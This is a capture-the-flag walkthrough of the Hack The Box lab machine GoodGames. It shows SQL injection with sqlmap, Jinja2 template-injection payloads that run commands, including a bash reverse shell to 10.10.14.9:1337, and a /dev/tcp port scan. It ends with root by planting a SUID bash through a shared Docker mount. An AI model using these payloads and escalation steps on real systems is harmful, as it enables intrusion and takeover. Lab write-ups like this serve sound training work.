Information Gathering

Rustscan

Rustscan only find HTTP open:

┌──(yoon㉿kali)-[~/Documents/htb/goodgames]
└─$ rustscan --addresses 10.10.11.130 --range 1-65535
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛
<snip>
Host is up, received syn-ack (0.35s latency).
Scanned at 2024-04-10 03:49:43 EDT for 1s
 
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack
 
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.75 seconds

Enumeration

HTTP - TCP 80

The website shows series of games and provides blog and user account feautres:

Directory Bruteforce

I will directory bruteforce on it using feroxbuster:

sudo feroxbuster -u http://10.10.11.130 -n -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -C 404

It finds bunch of paths but nothing seems very useful.

Subdomain Bruteforce

At the bottom of the page, domainname (GoodGames.htb) is revealed which I add to /etc/hosts file:

I will perform subdomain enumeration using the found domain name:

sudo gobuster vhost -u http://GoodGames.htb --append-domain -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

Unfortunately, no other subdomains are found.

SQLi

Through /login, user can sign-in to their account:

I will first intercept the log-in attempt with Burp Suite:

Testing for SQL Injection vulnerability on above request, SQLmap identifies it as vulnerable:

sqlmap -r req.txt --dbs --batch

Using the command below, I can dump the entire database and it dumps password hash for user admin and test account that I created earlier:

sqlmap -r req.txt --dbs --batch --dump

I will crack the password using crackstation and the password is superadministrator:

SQLi Notes

Instead of dumping the entire database, I can also specify the dump using the commands below:

sqlmap -r req.txt -D main --tables --batch

sqlmap -r req.txt --dbs --batch -D main -t user --dump

I can also test for SQL injection:

Parameter email is vulnerable to basic SQL injection: OR 1=1;-- -

Shell as root on container

Internal Website

Using the credentials(admin:superadministrator), I can now sign-in as administrator:

Moving to main page of the website, I see a setting icon on the right top corner:

Clicking on the icon leads me to internal-administration.goodgames.htb which I add to /etc/hosts:

Luckily, using the same credentials, I can sign-in to the system:

SSTI

Detection

http://internal-administration.goodgames.htb/settings has a feature for changing username, Brithday, and phone number:

Intercepting the request with Burp Suite, I can see that I can tamper data on name= parameter:

With test username hello world requested, web app response with hello world:

I will try injection alert script and it seems like the web app is actually reading the script:

Now on the browser, it confirms SSTI vulnerability.

Exploitation

I will follow this list of payloads to attempt on advanced SSTI.

Trying with {{7*7}} = {{7*7}} shows 49=49:

Using the command below, I can execute command id:

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

Using the command below I can list files in current directory:

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

Using the command below, I can spawn a reverse shell as root:

{{config.__class__.__init__.__globals__['os'].popen('/bin/bash -c "bash -i >& /dev/tcp/10.10.14.9/1337 0>&1"').read()}}

Shell as Augustus on host

I expected the reverse shell to spawn at /home directory but it instead spawns at directory /backend

Listing files and directories in /, I can see .dockerenv which implies that this shell could be on a container instead of the host:

Dockerfile seems to be a script that creates /backend directory and copies files from the host into it:

There seems to be one user on /home: augustus

However, on /etc/passwd, there is no augustus:

It turns out home directory for user augustus is being mounted from the host:

mount | grep augustus

Pivoting

Let’s first discover the host IP. With ifconfig command, I see eth with IP 172.19.02:

Using the command below, I can ping sweep open host inside this subnet:

time for i in $(seq 1 254); do (ping -c 1 172.19.0.${i} | grep "bytes from" &); done

Since 172.19.0.2 is the current docker IP, 172.19.0.1 must be the host’s IP.

Now using the command below, I will scan for open ports:

for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null           

HTTP and SSH is open on the host machine and reusing the same credentials(superadministrator), I will try sign-in as augustus.

Above error can be simply fixed with the script function as such:

script /dev/null -c bash

Now I can SSH-in to host machine as augustus:

Shell as root

On the host SSH connection, I will try creating random file and see if It gets automatically updated on container enviroment:

On container’s connection, you can see that the file created from host is getting auto-updated:

I will copy /bin/bash to /home/augustus:

Now I will change the owner to root, and set the permissions to be SUID:

Back on host’s SSH connection, I can see that permissioin changed from container’s root environment is applied:

Using ./bash -p, I now have a shell as root:

References